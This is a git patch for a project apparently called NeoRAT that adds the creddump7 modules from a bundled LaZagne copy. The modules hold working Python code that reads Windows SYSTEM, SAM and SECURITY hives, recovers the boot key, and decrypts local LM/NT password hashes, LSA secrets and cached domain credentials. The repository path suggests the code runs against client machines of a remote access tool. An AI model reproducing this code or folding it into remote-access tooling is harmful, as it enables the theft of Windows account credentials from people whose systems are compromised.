From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001
From: AL-LCL <alvin@alvinhavel.com>
Date: Fri, 19 May 2023 11:01:49 +0200
Subject: NeoRAT

---
 .../softwares/windows/creddump7/win32/__init__.py  |   0
 .../windows/creddump7/win32/domcachedump.py        | 146 ++++++++++
 .../softwares/windows/creddump7/win32/hashdump.py  | 298 +++++++++++++++++++++
 .../windows/creddump7/win32/lsasecrets.py          | 183 +++++++++++++
 .../softwares/windows/creddump7/win32/rawreg.py    |  81 ++++++
 5 files changed, 708 insertions(+)
 create mode 100644 foreign/client_handling/lazagne/softwares/windows/creddump7/win32/__init__.py
 create mode 100644 foreign/client_handling/lazagne/softwares/windows/creddump7/win32/domcachedump.py
 create mode 100644 foreign/client_handling/lazagne/softwares/windows/creddump7/win32/hashdump.py
 create mode 100644 foreign/client_handling/lazagne/softwares/windows/creddump7/win32/lsasecrets.py
 create mode 100644 foreign/client_handling/lazagne/softwares/windows/creddump7/win32/rawreg.py

(limited to 'foreign/client_handling/lazagne/softwares/windows/creddump7/win32')

diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/__init__.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/domcachedump.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/domcachedump.py
new file mode 100644
index 0000000..983c81a
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/domcachedump.py
@@ -0,0 +1,146 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+import hmac
+import hashlib
+
+from .rawreg import *
+from ..addrspace import HiveFileAddressSpace
+from .hashdump import get_bootkey
+from .lsasecrets import get_secret_by_name, get_lsa_key
+from struct import unpack
+
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+from foreign.client_handling.lazagne.config.crypto.rc4 import RC4
+
+AES_BLOCK_SIZE = 16
+
+
+def get_nlkm(secaddr, lsakey, vista):
+    return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista)
+
+
+def decrypt_hash(edata, nlkm, ch):
+    hmac_md5 = hmac.new(nlkm, ch, hashlib.md5)
+    rc4key = hmac_md5.digest()
+
+    rc4 = RC4(rc4key)
+    data = rc4.encrypt(edata)
+    return data
+
+
+def decrypt_hash_vista(edata, nlkm, ch):
+    """
+    Based on code from http://lab.mediaservice.net/code/cachedump.rb
+    """
+    aes = AESModeOfOperationCBC(nlkm[16:32], iv=ch)
+
+    out = ""
+    for i in range(0, len(edata), 16):
+        buf = edata[i:i+16]
+        if len(buf) < 16:
+            buf += (16 - len(buf)) * "\00"
+        out += b"".join([aes.decrypt(buf[i:i + AES_BLOCK_SIZE]) for i in range(0, len(buf), AES_BLOCK_SIZE)])
+    return out
+
+
+def parse_cache_entry(cache_data):
+    (uname_len, domain_len) = unpack("<HH", cache_data[:4])
+    (domain_name_len,) = unpack("<H", cache_data[60:62])
+    ch = cache_data[64:80]
+    enc_data = cache_data[96:]
+    return uname_len, domain_len, domain_name_len, enc_data, ch
+
+
+def parse_decrypted_cache(dec_data, uname_len, domain_len, domain_name_len):
+    uname_off = 72
+    pad = 2 * ((uname_len / 2) % 2)
+    domain_off = uname_off + uname_len + pad
+    pad = 2 * ((domain_len / 2) % 2)
+    domain_name_off = domain_off + domain_len + pad
+
+    data_hash = dec_data[:0x10]
+
+    username = dec_data[uname_off:uname_off+uname_len]
+    username = username.decode('utf-16-le', errors='ignore')
+
+    domain = dec_data[domain_off:domain_off+domain_len]
+    domain = domain.decode('utf-16-le', errors='ignore')
+
+    domain_name = dec_data[domain_name_off:domain_name_off+domain_name_len]
+    domain_name = domain_name.decode('utf-16-le', errors='ignore')
+
+    return username, domain, domain_name, data_hash
+
+
+def dump_hashes(sysaddr, secaddr, vista):
+    bootkey = get_bootkey(sysaddr)
+    if not bootkey:
+        return []
+
+    lsakey = get_lsa_key(secaddr, bootkey, vista)
+    if not lsakey:
+        return []
+
+    nlkm = get_nlkm(secaddr, lsakey, vista)
+    if not nlkm:
+        return []
+
+    root = get_root(secaddr)
+    if not root:
+        return []
+
+    cache = open_key(root, ["Cache"])
+    if not cache:
+        return []
+
+    hashes = []
+    for v in values(cache):
+        if v.Name == "NL$Control":
+            continue
+        
+        data = v.space.read(v.Data.value, v.DataLength.value)
+
+        (uname_len, domain_len, domain_name_len, enc_data, ch) = parse_cache_entry(data)
+        
+        # Skip if nothing in this cache entry
+        if uname_len == 0:
+            continue
+
+        if vista:
+            dec_data = decrypt_hash_vista(enc_data, nlkm, ch)
+        else:
+            dec_data = decrypt_hash(enc_data, nlkm, ch)
+
+        (username, domain, domain_name, hash) = parse_decrypted_cache(dec_data, uname_len, domain_len, domain_name_len)
+        hashes.append((username, domain, domain_name, hash))
+
+    return hashes 
+
+
+def dump_file_hashes(syshive_fname, sechive_fname, vista):
+    sysaddr = HiveFileAddressSpace(syshive_fname)
+    secaddr = HiveFileAddressSpace(sechive_fname)
+
+    results = []
+    for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr, vista):
+        results.append("%s:%s:%s:%s" % (u.lower(), hash.encode('hex'), d.lower(), dn.lower()))
+    return results
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/hashdump.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/hashdump.py
new file mode 100644
index 0000000..02a8e58
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/hashdump.py
@@ -0,0 +1,298 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+import hashlib
+import codecs
+from struct import pack
+
+from ..addrspace import HiveFileAddressSpace
+from .rawreg import *
+from foreign.client_handling.lazagne.config.crypto.rc4 import RC4
+from foreign.client_handling.lazagne.config.crypto.pyDes import des, ECB
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+from foreign.client_handling.lazagne.config.winstructure import char_to_int, chr_or_byte, int_or_bytes
+
+
+odd_parity = [
+    1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
+    16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
+    32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
+    49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
+    64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
+    81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
+    97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110,
+    112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127,
+    128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143,
+    145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158,
+    161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174,
+    176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191,
+    193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206,
+    208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223,
+    224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239,
+    241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254
+]
+
+# Permutation matrix for boot key
+p = [0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
+     0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7]
+
+# Constants for SAM decrypt algorithm
+aqwerty = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
+anum = b"0123456789012345678901234567890123456789\0"
+antpassword = b"NTPASSWORD\0"
+almpassword = b"LMPASSWORD\0"
+
+empty_lm = codecs.decode('aad3b435b51404eeaad3b435b51404ee', 'hex')
+empty_nt = codecs.decode('31d6cfe0d16ae931b73c59d7e0c089c0', 'hex')
+
+AES_BLOCK_SIZE = 16
+
+
+def str_to_key(s):
+    key = []
+    key.append(char_to_int(s[0]) >> 1)
+    key.append(((char_to_int(s[0]) & 0x01) << 6) | (char_to_int(s[1]) >> 2))
+    key.append(((char_to_int(s[1]) & 0x03) << 5) | (char_to_int(s[2]) >> 3))
+    key.append(((char_to_int(s[2]) & 0x07) << 4) | (char_to_int(s[3]) >> 4))
+    key.append(((char_to_int(s[3]) & 0x0F) << 3) | (char_to_int(s[4]) >> 5))
+    key.append(((char_to_int(s[4]) & 0x1F) << 2) | (char_to_int(s[5]) >> 6))
+    key.append(((char_to_int(s[5]) & 0x3F) << 1) | (char_to_int(s[6]) >> 7))
+    key.append(char_to_int(s[6]) & 0x7F)
+
+    for i in range(8):
+        key[i] = (key[i] << 1)
+        key[i] = odd_parity[key[i]]
+
+    return b"".join(chr_or_byte(k) for k in key)
+
+
+def sid_to_key(sid):
+    s1 = b""
+    s1 += chr_or_byte(sid & 0xFF)
+    s1 += chr_or_byte((sid >> 8) & 0xFF)
+    s1 += chr_or_byte((sid >> 16) & 0xFF)
+    s1 += chr_or_byte((sid >> 24) & 0xFF)
+    s1 += int_or_bytes(s1[0])
+    s1 += int_or_bytes(s1[1])
+    s1 += int_or_bytes(s1[2])
+    s2 = int_or_bytes(s1[3]) + int_or_bytes(s1[0]) + int_or_bytes(s1[1]) + int_or_bytes(s1[2])
+    s2 += int_or_bytes(s2[0]) + int_or_bytes(s2[1]) + int_or_bytes(s2[2])
+    return str_to_key(s1), str_to_key(s2)
+
+
+def find_control_set(sysaddr):
+    root = get_root(sysaddr)
+    if not root:
+        return 1
+
+    csselect = open_key(root, [b"Select"])
+    if not csselect:
+        return 1
+
+    for v in values(csselect):
+        if v.Name == b"Current":
+            return v.Data.value
+
+
+def get_bootkey(sysaddr):
+    cs = find_control_set(sysaddr)
+    lsa_base = [b"ControlSet%03d" % cs, b"Control", b"Lsa"]
+    lsa_keys = [b"JD", b"Skew1", b"GBG", b"Data"]
+
+    root = get_root(sysaddr)
+    if not root:
+        return None
+
+    lsa = open_key(root, lsa_base)
+    if not lsa:
+        return None
+
+    bootkey = b""
+
+    for lk in lsa_keys:
+        key = open_key(lsa, [lk])
+        class_data = sysaddr.read(key.Class.value, key.ClassLength.value)
+        bootkey += codecs.decode(class_data.decode('utf-16-le'), 'hex')
+
+    bootkey_scrambled = b""
+    for i in range(len(bootkey)):
+        try:
+            bootkey_scrambled += bootkey[p[i]]
+        except TypeError:
+            bootkey_scrambled += bytes([bootkey[p[i]]])
+    return bootkey_scrambled
+
+
+def get_hbootkey(samaddr, bootkey):
+    sam_account_path = [b"SAM", b"Domains", b"Account"]
+
+    root = get_root(samaddr)
+    if not root:
+        return None
+
+    sam_account_key = open_key(root, sam_account_path)
+    if not sam_account_key:
+        return None
+
+    F = None
+    for v in values(sam_account_key):
+        if v.Name == b'F':
+            F = samaddr.read(v.Data.value, v.DataLength.value)
+    if not F:
+        return None
+
+    revision = ord(F[0x00])
+    if revision == 2:
+        md5 = hashlib.md5(F[0x70:0x80] + aqwerty + bootkey + anum)
+        rc4_key = md5.digest()
+        rc4 = RC4(rc4_key)
+        hbootkey = rc4.encrypt(F[0x80:0xA0])
+
+        return hbootkey
+
+    elif revision == 3:
+        iv = F[0x78:0x88]
+        encryptedHBootKey = F[0x88:0xA8]
+        cipher = AESModeOfOperationCBC(bootkey, iv=iv)
+        hbootkey = b"".join([cipher.decrypt(encryptedHBootKey[i:i + AES_BLOCK_SIZE]) for i in range(0, len(encryptedHBootKey), AES_BLOCK_SIZE)])
+
+        return hbootkey[:16]
+
+
+def get_user_keys(samaddr):
+    user_key_path = [b"SAM", b"Domains", b"Account", b"Users"]
+    root = get_root(samaddr)
+    if not root:
+        return []
+
+    user_key = open_key(root, user_key_path)
+    if not user_key:
+        return []
+
+    return [k for k in subkeys(user_key) if k.Name != b"Names"]
+
+
+def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr):
+    if enc_hash == "":
+        return ""
+    (des_k1, des_k2) = sid_to_key(rid)
+    d1 = des(des_k1, ECB)
+    d2 = des(des_k2, ECB)
+    md5 = hashlib.md5()
+    md5.update(hbootkey[:0x10] + pack("<L", rid) + lmntstr)
+    rc4_key = md5.digest()
+    rc4 = RC4(rc4_key)
+    obfkey = rc4.encrypt(enc_hash)
+    hash_ = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:])
+    return hash_
+
+
+def decrypt_single_salted_hash(rid, hbootkey, enc_hash, lmntstr, salt):
+    if enc_hash == "":
+        return ""
+    (des_k1, des_k2) = sid_to_key(rid)
+    d1 = des(des_k1, ECB)
+    d2 = des(des_k2, ECB)
+    cipher = AESModeOfOperationCBC(hbootkey, salt)
+    obfkey = b"".join([cipher.decrypt(enc_hash[i:i + AES_BLOCK_SIZE]) for i in range(0, len(enc_hash), AES_BLOCK_SIZE)])
+
+    hash_ = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:16])
+    return hash_
+
+
+def get_user_hashes(user_key, hbootkey):
+    samaddr = user_key.space
+    rid = int(user_key.Name, 16)
+    V = None
+    for v in values(user_key):
+        if v.Name == 'V':
+            V = samaddr.read(v.Data.value, v.DataLength.value)
+    if not V: return None
+    hash_offset = unpack("<L", V[0xa8:0xa8+4])[0] + 0xCC
+
+    lm_offset_bytes = V[0x9c:0x9c+4]
+    nt_offset_bytes = V[0x9c+12:0x9c+16]
+    lm_offset = unpack("<L", lm_offset_bytes)[0] + 204
+    nt_offset = unpack("<L", nt_offset_bytes)[0] + 204
+
+    lm_revision = int(codecs.encode(V[lm_offset+2:lm_offset+3], 'hex').decode(), 16)
+    if lm_revision == 1:
+        lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 20 else False
+        enc_lm_hash = V[hash_offset+4:hash_offset+20] if lm_exists else ""
+        lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword)
+    
+    elif lm_revision == 2:
+        lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 56 else False
+        lm_salt = V[hash_offset+4:hash_offset+20] if lm_exists else ""
+        enc_lm_hash = V[hash_offset+20:hash_offset+52] if lm_exists else ""
+        lmhash = decrypt_single_salted_hash(rid, hbootkey, enc_lm_hash, almpassword, lm_salt)
+
+    nt_revision = int(codecs.encode(V[nt_offset+2:nt_offset+3], 'hex').decode(), 16)
+    if nt_revision == 1:
+        nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 20 else False
+        enc_nt_hash = V[nt_offset+4:nt_offset+20] if nt_exists else ""
+        nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)
+    
+    elif nt_revision == 2:
+        nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 56 else False
+        nt_salt = V[nt_offset+8:nt_offset+24] if nt_exists else ""
+        enc_nt_hash = V[nt_offset+24:nt_offset+56] if nt_exists else ""
+        nthash = decrypt_single_salted_hash(rid, hbootkey, enc_nt_hash, antpassword, nt_salt)
+
+    return lmhash, nthash
+
+
+def get_user_name(user_key):
+    samaddr = user_key.space
+    V = None
+    for v in values(user_key):
+        if v.Name == b'V':
+            V = samaddr.read(v.Data.value, v.DataLength.value)
+    if not V:
+        return None
+
+    name_offset = unpack("<L", V[0x0c:0x10])[0] + 0xCC
+    name_length = unpack("<L", V[0x10:0x14])[0]
+
+    username = V[name_offset:name_offset + name_length].decode('utf-16-le')
+    return username
+
+
+def dump_hashes(sysaddr, samaddr):
+    bootkey = get_bootkey(sysaddr)
+    hbootkey = get_hbootkey(samaddr, bootkey)
+    results = []
+    for user in get_user_keys(samaddr):
+        lmhash, nthash = get_user_hashes(user, hbootkey)
+        if not lmhash:
+            lmhash = empty_lm
+        if not nthash:
+            nthash = empty_nt
+        results.append(
+            "%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), codecs.encode(lmhash, 'hex').decode(),
+                                codecs.encode(nthash, 'hex').decode()))
+    return results
+
+
+def dump_file_hashes(syshive_fname, samhive_fname):
+    sysaddr = HiveFileAddressSpace(syshive_fname)
+    samaddr = HiveFileAddressSpace(samhive_fname)
+    return dump_hashes(sysaddr, samaddr)
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/lsasecrets.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/lsasecrets.py
new file mode 100644
index 0000000..232a0f4
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/lsasecrets.py
@@ -0,0 +1,183 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+import hashlib
+import os
+
+from .rawreg import *
+from ..addrspace import HiveFileAddressSpace
+from .hashdump import get_bootkey, str_to_key
+from foreign.client_handling.lazagne.config.crypto.rc4 import RC4
+from foreign.client_handling.lazagne.config.crypto.pyDes import des, ECB
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+
+
+def get_lsa_key(secaddr, bootkey, vista):
+    root = get_root(secaddr)
+    if not root:
+        return None
+
+    if vista:
+        enc_reg_key = open_key(root, [b"Policy", b"PolEKList"])
+    else:
+        enc_reg_key = open_key(root, [b"Policy", b"PolSecretEncryptionKey"])
+
+    if not enc_reg_key:
+        return None
+
+    enc_reg_value = enc_reg_key.ValueList.List[0]
+    if not enc_reg_value:
+        return None
+
+    obf_lsa_key = secaddr.read(enc_reg_value.Data.value, enc_reg_value.DataLength.value)
+    if not obf_lsa_key:
+        return None
+
+    if not vista:
+        md5 = hashlib.md5()
+        md5.update(bootkey)
+        for i in range(1000):
+            md5.update(obf_lsa_key[60:76])
+        rc4key = md5.digest()
+        rc4 = RC4(rc4key)
+        lsa_key = rc4.encrypt(obf_lsa_key[12:60])
+        lsa_key = lsa_key[0x10:0x20]
+    else:
+        lsa_key = decrypt_aes(obf_lsa_key, bootkey)
+        lsa_key = lsa_key[68:100]
+
+    return lsa_key
+
+
+def decrypt_secret(secret, key):
+    """Python implementation of SystemFunction005.
+
+    Decrypts a block of data with DES using given key.
+    Note that key can be longer than 7 bytes."""
+    decrypted_data = b''
+    j = 0  # key index
+    for i in range(0, len(secret), 8):
+        enc_block = secret[i:i + 8]
+        block_key = key[j:j + 7]
+        des_key = str_to_key(block_key)
+        crypter = des(des_key, ECB)
+
+        try:
+            decrypted_data += crypter.decrypt(enc_block)
+        except Exception:
+            continue
+
+        j += 7
+        if len(key[j:j + 7]) < 7:
+            j = len(key[j:j + 7])
+
+    (dec_data_len,) = unpack("<L", decrypted_data[:4])
+    return decrypted_data[8:8 + dec_data_len]
+
+
+def decrypt_aes(secret, key):
+    sha = hashlib.sha256()
+    sha.update(key)
+    for _i in range(1, 1000 + 1):
+        sha.update(secret[28:60])
+    aeskey = sha.digest()
+
+    data = b""
+    for i in range(60, len(secret), 16):
+        aes = AESModeOfOperationCBC(aeskey, iv="\x00" * 16)
+        buf = secret[i: i + 16]
+        if len(buf) < 16:
+            buf += (16 - len(buf)) * "\00"
+
+        data += aes.decrypt(buf)
+
+    return data
+
+
+def get_secret_by_name(secaddr, name, lsakey, vista):
+    root = get_root(secaddr)
+    if not root:
+        return None
+
+    enc_secret_key = open_key(root, [b"Policy", b"Secrets", name, b"CurrVal"])
+    if not enc_secret_key:
+        return None
+
+    enc_secret_value = enc_secret_key.ValueList.List[0]
+    if not enc_secret_value:
+        return None
+
+    enc_secret = secaddr.read(enc_secret_value.Data.value, enc_secret_value.DataLength.value)
+    if not enc_secret:
+        return None
+
+    if vista:
+        secret = decrypt_aes(enc_secret, lsakey)
+    else:
+        secret = decrypt_secret(enc_secret[0xC:], lsakey)
+
+    return secret
+
+
+def get_secrets(sysaddr, secaddr, vista):
+    root = get_root(secaddr)
+    if not root:
+        return None
+
+    bootkey = get_bootkey(sysaddr)
+    lsakey = get_lsa_key(secaddr, bootkey, vista)
+
+    secrets_key = open_key(root, [b"Policy", b"Secrets"])
+    if not secrets_key:
+        return None
+
+    secrets = {}
+    for key in subkeys(secrets_key):
+        sec_val_key = open_key(key, [b"CurrVal"])
+        if not sec_val_key:
+            continue
+
+        enc_secret_value = sec_val_key.ValueList.List[0]
+        if not enc_secret_value:
+            continue
+
+        enc_secret = secaddr.read(enc_secret_value.Data.value, enc_secret_value.DataLength.value)
+        if not enc_secret:
+            continue
+
+        if vista:
+            secret = decrypt_aes(enc_secret, lsakey)
+        else:
+            secret = decrypt_secret(enc_secret[0xC:], lsakey)
+
+        secrets[key.Name] = secret
+
+    return secrets
+
+
+def get_file_secrets(sysfile, secfile, vista):
+    if not os.path.isfile(sysfile) or not os.path.isfile(secfile):
+        return
+
+    sysaddr = HiveFileAddressSpace(sysfile)
+    secaddr = HiveFileAddressSpace(secfile)
+
+    return get_secrets(sysaddr, secaddr, vista)
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/rawreg.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/rawreg.py
new file mode 100644
index 0000000..9d80355
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/rawreg.py
@@ -0,0 +1,81 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+from ..newobj import Obj, Pointer
+from struct import unpack
+
+ROOT_INDEX = 0x20
+LH_SIG = unpack("<H", b"lh")[0]
+LF_SIG = unpack("<H", b"lf")[0]
+RI_SIG = unpack("<H", b"ri")[0]
+
+
+def get_root(address_space):
+    return Obj("_CM_KEY_NODE", ROOT_INDEX, address_space)
+
+
+def open_key(root, key):
+    if not key:
+        return root
+    
+    keyname = key.pop(0)
+    for s in subkeys(root):
+        if s.Name.upper() == keyname.upper():
+            return open_key(s, key)
+    # print "ERR: Couldn't find subkey %s of %s" % (keyname, root.Name)
+    return None
+
+
+def subkeys(key, stable=True):
+    if stable:
+        k = 0
+    else:
+        k = 1
+
+    sk = (key.SubKeyLists[k]/["pointer", ["_CM_KEY_INDEX"]]).value
+    sub_list = []
+    if (sk.Signature.value == LH_SIG or
+            sk.Signature.value == LF_SIG):
+        sub_list = sk.List
+    elif sk.Signature.value == RI_SIG:
+        lfs = []
+        for i in range(sk.Count.value):
+            off, tp = sk.get_offset(['List', i])
+            lfs.append(Pointer("pointer", sk.address+off, sk.space,
+                ["_CM_KEY_INDEX"]))
+        for lf in lfs:
+            sub_list += lf.List
+
+    for s in sub_list:
+        if s.is_valid() and s.Signature.value == 27502:
+            yield s.value
+
+
+def values(key):
+    for v in key.ValueList.List:
+        yield v.value
+
+
+def walk(root):
+    for k in subkeys(root):
+        yield k
+        for j in walk(k):
+            yield j
-- 
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